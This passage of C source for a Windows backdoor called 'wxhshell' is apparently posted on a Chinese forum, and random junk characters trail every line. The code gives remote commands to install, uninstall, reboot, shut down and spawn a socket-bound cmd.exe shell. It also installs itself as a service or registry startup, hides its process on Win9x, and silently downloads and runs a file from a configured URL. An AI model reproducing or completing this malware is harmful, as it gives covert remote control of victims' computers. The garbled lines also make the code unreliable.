      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n}+wd9J*!2  
    break; W3"vTZJF  
  } icU"Vyu  
  // 安装 c 3}x)aQ  
  case 'i': { f>|9 l  
    if(Install()) j`{fB}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  )Kxs@F  
    else #&}%70R)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >s44  
    break; %C6|-?TAd  
    } \f6lT3"VN  
  // 卸载 ,zc"udpKF  
  case 'r': { bJANZn|H  
    if(Uninstall()) H&w(]PDh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #j\*Lc"Ur:  
    else $#TID=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `CPZPp,l6`  
    break; s z;=mMr/Z  
    } bb*c+XN0  
  // 显示 wxhshell 所在路径 hT\p)w  
  case 'p': { P>.Y)$`r  
    char svExeFile[MAX_PATH]; t>XZ 3  
    strcpy(svExeFile,"\n\r"); i?lX,9%  
      strcat(svExeFile,ExeFile); Y"r3i]  
        send(wsh,svExeFile,strlen(svExeFile),0); zUe#Wp[  
    break; Tw?Pp8'  
    } jM{qRfOrg  
  // 重启 \MfR #k0  
  case 'b': { '\Qf,%%.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @ysJt  
    if(Boot(REBOOT)) -$xKv4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D WsCYo  
    else { GH [ U!J  
    closesocket(wsh); B 9%yd*SJ  
    ExitThread(0); 6wa<'!   
    } TXA. 6e  
    break; H't`Q&]a  
    } GjG{qR  
  // 关机 c& 9+/JYMo  
  case 'd': { l_UXrnm/N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rOs)B21/  
    if(Boot(SHUTDOWN)) $0S.@wUG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y+|L 3'H  
    else { r!"CH5dT  
    closesocket(wsh); .;]YJy  
    ExitThread(0); 9OE_?R0c!  
    } 40`9t Xn  
    break; l=Vowx.$2f  
    } cP/F| uG5  
  // 获取shell MBnK&GS  
  case 's': { B7NmET4  
    CmdShell(wsh); Lr!L}y9T+  
    closesocket(wsh); ,{#RrF e  
    ExitThread(0); 5JJg"yuY"  
    break; t't^E,E .@  
  } v'mJ~tz  
  // 退出 ZE5-i@1  
  case 'x': { 2<`gs(oxXe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -`<6=[QUO  
    CloseIt(wsh); ]L5Z=.z&  
    break; Dx9$H++6$X  
    } EKeBTb  
  // 离开 3C E 39W  
  case 'q': { F] dmc,Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ' [7C~r{%  
    closesocket(wsh); u* #-7   
    WSACleanup(); dVY(V&p  
    exit(1); Q' OuZKhA  
    break; EZgxSQaPH  
        } Pf^Ly 97  
  } O=4c eE mz  
  } /6Jy'"+'0  
3G:NZ)p  
  // 提示信息 ~ wJ3AqNC?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wj5qQ]WC  
} =R"Eb1  
  } S)Ub/`f{s  
)'/nS$\E:  
  return; j\jL[hG_  
} s[vPH8qb  
vTe$77n  
// shell模块句柄 .(gT+5[  
int CmdShell(SOCKET sock) EU?&  
{ B.CH9M  
STARTUPINFO si; YUP%K!k  
ZeroMemory(&si,sizeof(si)); v e6N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wfU&{7yt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4{Yy05PFS  
PROCESS_INFORMATION ProcessInfo; Y;~~?[6  
char cmdline[]="cmd"; RGx]DP$5G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,6%hu|Y*  
  return 0; {7ZtOe  
} K%aPl~e  
KV) Hywl`  
// 自身启动模式 mTI\,x%<OC  
int StartFromService(void) i_jax)m%  
{ #NVF\  
typedef struct GDNh?R  
{ R9|2&pfm(M  
  DWORD ExitStatus; 3_R   
  DWORD PebBaseAddress; c:`` Y:  
  DWORD AffinityMask; B~ 'VDOG$Z  
  DWORD BasePriority; ;?O883@r8  
  ULONG UniqueProcessId; TCEXa?,L  
  ULONG InheritedFromUniqueProcessId; b}}1TnS)  
}   PROCESS_BASIC_INFORMATION; +*r**(-Dm  
JYVxdvq1  
PROCNTQSIP NtQueryInformationProcess; o\=i0HR9  
ib""Fv7{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D~i@. k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eD` ,  
8-y: ==C  
  HANDLE             hProcess; K@$L~G  
  PROCESS_BASIC_INFORMATION pbi; +cE tm  
:DJ7d  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jmk*z(}#:  
  if(NULL == hInst ) return 0; 8R??J>h5\  
Gn2bZ%l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ma*dIwEp  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _L `N^I.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XYxm8ee"j  
4/-))F&s  
  if (!NtQueryInformationProcess) return 0; &Curvc1fm  
TJ%]{%F  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n'&`9M['%d  
  if(!hProcess) return 0; W2W2WyPk  
 HN~v&,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9qu24zz$P  
%t5BB$y  
  CloseHandle(hProcess); bCaPJ!ZO  
8#d1}Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D-b2E6 o6  
if(hProcess==NULL) return 0; GJ^]ER-K  
r PRuSk-f  
HMODULE hMod; ma]F%E+$  
char procName[255]; ~QEXB*X-g'  
unsigned long cbNeeded; 8.;';[  
P9tQS"Rs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SJ WP8+  
'Kso@St`o  
  CloseHandle(hProcess); s2kZZP8-  
>fZ/09&3  
if(strstr(procName,"services")) return 1; // 以服务启动 #()cG  
k1$2a8 ja  
  return 0; // 注册表启动 |q.:hWYFpM  
} gA 6h5F)_  
,p/b$d1p  
// 主模块 !$KhL.4P  
int StartWxhshell(LPSTR lpCmdLine) QSs$   
{ CAo )v,f  
  SOCKET wsl; )T};Q:  
BOOL val=TRUE; Ignv|TYG  
  int port=0; 3}#XA+Z  
  struct sockaddr_in door; &6^W% r  
:2UC{_  
  if(wscfg.ws_autoins) Install(); b-(UsY:  
&fd4IO/O  
port=atoi(lpCmdLine); FskJyB[  
ng&EGM  
if(port<=0) port=wscfg.ws_port; 8$<AxNR  
@gqs4cg{f  
  WSADATA data; FG5c:Ep  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HT,kx  
WO(&<(?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C"Y]W-Mgg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3Llj_lf  
  door.sin_family = AF_INET; Zqs-I8y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a6k(O8Ank3  
  door.sin_port = htons(port); 2bn@:71`  
">vYEkZ3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k@";i4}A  
closesocket(wsl); Rn~Xu)@e  
return 1; ME10dr  
} _hyxKrm' 6  
aEqI51I  
  if(listen(wsl,2) == INVALID_SOCKET) { h^_taAdS`  
closesocket(wsl); k]/6/s\  
return 1; |Q)w3\S$  
} t-4 R7`A<  
  Wxhshell(wsl); j.'"CU  
  WSACleanup(); \`p~b(  
FvNSu"O~K1  
return 0; v.LUK  
=E~5&W7  
} jme5'FR  
3 cW"VrFy9  
// 以NT服务方式启动 ,S0~:c:)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Mm7n?kb6  
{ q}F%o0  
DWORD   status = 0; vBYT)S  
  DWORD   specificError = 0xfffffff; O"^a.`27  
&P{p\v2Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )< a8a@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G* ~*2>~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Is6']bYh  
  serviceStatus.dwWin32ExitCode     = 0; TX [%s@C  
  serviceStatus.dwServiceSpecificExitCode = 0; ^YJ^+:D(  
  serviceStatus.dwCheckPoint       = 0; -b>O4_N  
  serviceStatus.dwWaitHint       = 0; n `T[eb~  
NDa|.,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (F '  
  if (hServiceStatusHandle==0) return; 8~Hs3\Hp  
)>M@hIV5>  
status = GetLastError(); '-]BSU  
  if (status!=NO_ERROR) [`-O-?=  
{ cYwC,\ uF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gL}Y5U+s  
    serviceStatus.dwCheckPoint       = 0; Q.2nUT`  
    serviceStatus.dwWaitHint       = 0; &|\}\+0Z  
    serviceStatus.dwWin32ExitCode     = status; 9"lW"lG!  
    serviceStatus.dwServiceSpecificExitCode = specificError; i[\u-TF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S@G{|.)2  
    return; pL/.JzB  
  } 9PGR#!!F$  
Cbg#Yz~/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e, 0I~:  
  serviceStatus.dwCheckPoint       = 0; 6N+)LF}P b  
  serviceStatus.dwWaitHint       = 0; p>tdJjnt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;q&D,4r]  
} $F()`L{Tj  
@gjdyz  
// 处理NT服务事件,比如:启动、停止 @bCiaBdi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M Hyl=5  
{ tMBy ^@p  
switch(fdwControl) d~Ry>   
{ H'\EA(v+  
case SERVICE_CONTROL_STOP: Bpo68%dx89  
  serviceStatus.dwWin32ExitCode = 0; kBT}Siw  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,Y8X"~{A  
  serviceStatus.dwCheckPoint   = 0; h5JwB<8  
  serviceStatus.dwWaitHint     = 0; 0\ w[_H  
  { *#^1rKGWK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k Q(y^tW  
  } )$4DH:WN  
  return; EEZ2Gu6c  
case SERVICE_CONTROL_PAUSE: w:zC/5x`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; / lM~K:  
  break; (<JDD]J  
case SERVICE_CONTROL_CONTINUE: 8 (h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :Sn3|`HDm  
  break; FY S83uq0  
case SERVICE_CONTROL_INTERROGATE: [=F |^KL  
  break; Jo$Dxa z  
}; ;/q6^Nk3A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6%INNIyAWa  
} }Q^a.`h  
+mOtYf W  
// 标准应用程序主函数 [IBk-opap  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KL"L65g&  
{ GiwA$^Hg\  
_1c_TMh}9  
// 获取操作系统版本 *`.{K12T  
OsIsNt=GetOsVer(); 5g>kr< K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); . \0=1P:  
*9(1:N;#  
  // 从命令行安装 l{o{=]x1  
  if(strpbrk(lpCmdLine,"iI")) Install(); ykhCt\t[  
SY)$2RC+}  
  // 下载执行文件 @5G7bY7Nz  
if(wscfg.ws_downexe) { ld?.o/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -fgKSJ7  
  WinExec(wscfg.ws_filenam,SW_HIDE); }z-  
} &*GX:0=/>  
5w{pX1z1  
if(!OsIsNt) { S)|b%mVwR  
// 如果时win9x,隐藏进程并且设置为注册表启动 =T4 w:  
HideProc(); u`@FA?+E1  
StartWxhshell(lpCmdLine); R0<Vd"  
} N`6|Y  
else Q b{5*>  
  if(StartFromService()) 9,eR=M]+:  
  // 以服务方式启动 O9)}:++T  
  StartServiceCtrlDispatcher(DispatchTable); FN EmGz/4  
else %{abRBny  
  // 普通方式启动 wR$8drn]Rq  
  StartWxhshell(lpCmdLine); Ka\b_P&  
v nC&1  
return 0; QXj(U&#rp  
}
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只看该作者 1 发表于: 2006-10-10
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